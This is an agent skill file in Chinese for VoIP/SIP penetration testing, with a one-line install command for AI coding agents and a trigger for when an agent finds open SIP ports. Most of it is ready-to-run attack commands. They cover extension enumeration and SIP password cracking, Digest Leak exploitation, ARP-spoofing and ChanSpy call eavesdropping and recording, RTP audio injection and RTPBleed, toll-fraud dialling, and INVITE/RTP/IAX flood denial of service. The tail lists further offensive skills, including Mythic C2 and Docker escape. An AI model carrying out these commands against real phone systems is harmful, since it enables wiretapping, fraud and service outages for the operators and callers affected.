skills/exploit/network-service/voip-pentesting/SKILL.md
VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。 当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity voip-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
VoIP 基础设施渗透测试
├─ Phase 1: 服务发现
│ ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS)
│ ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现
│ ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP)
│ └─ Google Dorks -> 暴露的 VoIP 管理界面
├─ Phase 2: SIP 枚举
│ ├─ 方法枚举 (OPTIONS / SIPPTS enumerate)
│ ├─ 分机枚举 (svwar / SIPPTS exten)
│ ├─ 响应头分析 -> 指纹识别
│ └─ 电话号码 OSINT
├─ Phase 3: 认证攻击
│ ├─ 在线密码爆破 (svcrack / SIPPTS rcrack)
│ ├─ 离线摘要破解 (sipdump + sipcrack)
│ ├─ SIP Digest Leak 漏洞利用
│ └─ 默认凭据
├─ Phase 4: 通话劫持与窃听
│ ├─ 网络嗅探 (Wireshark / ucsniff)
│ ├─ ARP 欺骗 -> MitM -> RTP 捕获
│ ├─ ChanSpy / ExtenSpy (Asterisk 监听)
│ ├─ RTP 注入 (rtpinsertsound / rtpmixsound)
│ └─ DTMF 码提取 (voicemail 密码)
├─ Phase 5: 安全协议分析
│ ├─ TLS 使用 -> SIP 通信加密
│ ├─ SRTP 使用 -> RTP 通信加密
│ ├─ ZRTP 使用 -> 端到端加密
│ └─ 未加密 -> 完全可嗅探
├─ Phase 6: 已知漏洞与攻击
│ ├─ RTCPBleed (RTP 代理 NAT 绕过)
│ ├─ Asterisk 配置错误 (免费拨号)
│ ├─ 分机注入
│ ├─ Click2Call 滥用
│ └─ OS/固件漏洞 (FreePBX / Elastix)
└─ DoS 攻击
├─ SIP INVITE Flood
├─ RTP Flood
└─ IAX Flood
# Nmap SIP 方法扫描
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# svmap (SIPVicious) — SIP 设备发现
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
# --fp: 指纹识别
# 注意: 默认 User-Agent 为 "friendly-scanner",容易被阻断
# SIPPTS scan — 高速 SIP 扫描 (UDP/TCP/TLS)
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
# Metasploit
use auxiliary/scanner/sip/options_tcp # TCP
use auxiliary/scanner/sip/options # UDP
PBX 可能暴露的服务
├─ 69/UDP (TFTP) -> 固件更新文件
├─ 80/443 (HTTP/HTTPS) -> Web 管理界面
├─ 389 (LDAP) -> 用户信息
├─ 3306 (MySQL) -> 数据库
├─ 5038 (Asterisk Manager) -> 管理接口
├─ 5222 (XMPP) -> 即时消息
└─ 5432 (PostgreSQL) -> 数据库
# Grandstream 设备
intitle:"Grandstream Device Configuration" Password
# Cisco CallManager
inurl:"ccmuser/logon.asp"
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle:"FreePBX"
# SIPPTS enumerate — 发现 PBX 支持的 SIP 方法
sippts enumerate -i 10.10.0.10
# 自定义消息发送与响应分析
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
# WebSocket SIP
sippts wssend -i 10.10.0.10 -r 443 -path /ws
# svwar (SIPVicious) — SIP 分机枚举
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
# SIPPTS exten — 大范围分机扫描
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
# Metasploit
use auxiliary/scanner/sip/enumerator_tcp # TCP
use auxiliary/scanner/sip/enumerator # UDP
# enumiax — IAX 协议用户名枚举
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10
# svcrack (SIPVicious)
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
svcrack -u100 -r1-9999 -z4 10.0.0.1 # 分机范围检查
# SIPPTS rcrack — 多用户/多 IP 密码破解
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
注意: 用户名可能与分机号相同,也可能不同,取决于 PBX 配置。
# 从 pcap 提取 SIP 摘要认证
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
# SIPPTS dump + dcrack
sippts dump -f capture.pcap -o data.txt
sippts dcrack -f data.txt -w wordlist/rockyou.txt
# SIPPTS tshark — 从 pcap 提取 SIP 数据
sippts tshark -f capture.pcap [-filter auth]
利用 SIP 电话固有的漏洞,诱使其泄露摘要认证响应:
# SIPPTS leak — 自动利用 SIP Digest Leak
sippts leak -i 10.10.0.10
攻击流程:
# 前提: 位于同一网络 / 可进行 ARP 欺骗
# 工具: Wireshark, tcpdump, ucsniff
# ucsniff — 专为 VoIP 设计的嗅探工具
ucsniff -i eth0
加密检查:
# ChanSpy — 监听所有通话
# 配置: exten => 333,1,ChanSpy('all',qb)
# 拨打 333 即开始监听,按 * 切换通话
# ExtenSpy — 监听指定分机
# 录制通话到文件
# [recorded-context]
# exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
# exten => _X.,2,MixMonitor(${NAME})
# rtpinsertsound — 向通话注入音频
sudo apt install rtpinsertsound
rtpinsertsound <target_ip> <rtp_port> audio.wav
# rtpmixsound — 混合音频到通话
sudo apt install rtpmixsound
# DTMF 码提取 (语音信箱密码)
multimon -a DTMF -t wac pin.wav
通信加密评估
├─ SIP 信令
│ ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令
│ └─ TLS (5061) -> 信令加密
├─ RTP 媒体流
│ ├─ 明文 RTP -> 可捕获并播放通话
│ ├─ SRTP -> 媒体加密
│ └─ ZRTP -> 端到端加密
└─ 风险评估
├─ 全明文 -> 高风险 (完全可窃听)
├─ 仅 SIP TLS -> 中风险 (媒体仍可截获)
└─ TLS + SRTP/ZRTP -> 低风险
RTP 代理的 NAT 穿越学习模式缺乏认证,攻击者可发送 RTP 包劫持媒体流:
# 检测 RTP Bleed
sippts rtpbleed -i 10.10.0.10
sippts rtcpbleed -i 10.10.0.10
# 利用 RTP Bleed Flood
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
# 注入音频
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
免费拨号风险评估
├─ type=friend + insecure=port,invite
│ └─ 任何人可连接并拨打外部号码
├─ allowguest=true (sip.conf 默认)
│ └─ 无认证用户可拨打
├─ 默认 context 包含外部拨号规则
│ └─ include => external (含 Dial(SIP/trunk/${EXTEN}))
└─ IVRS 分机长度未校验
└─ 输入完整电话号码拨出
# 旧版 Asterisk: ${EXTEN} 可注入
# 输入 101&SIP123123123 -> 同时拨打 101 和 123123123
# 通过绕过匹配的分机名注入外部号码
# SIPPTS invite — 检测未认证拨号
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# 呼叫转移
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
# SIP INVITE Flood
sippts flood -i 10.10.0.10 -m invite -v
# SIP Ping (响应时间测试)
sippts ping -i 10.10.0.10
# IAX Flood
iaxflood <target>
# INVITE Flood (独立工具)
inviteflood <interface> <target> <port>
# SIPp (SIP 流量生成器)
sipp -sf scenario.xml <target>:5060
关键文件
├─ sip.conf -> SIP 用户密码
├─ extensions.conf -> 拨号计划
├─ manager.conf -> AMI 管理密码
├─ FreePBX:
│ ├─ amportal.conf -> Web 管理员密码
│ └─ FreePBX.conf -> 数据库密码
├─ Elastix:
│ └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文)
└─ MySQL root 可能无密码
# Asterisk System() 命令
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
# Shell() 命令 (替代 System)
same => n,Shell(command)
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能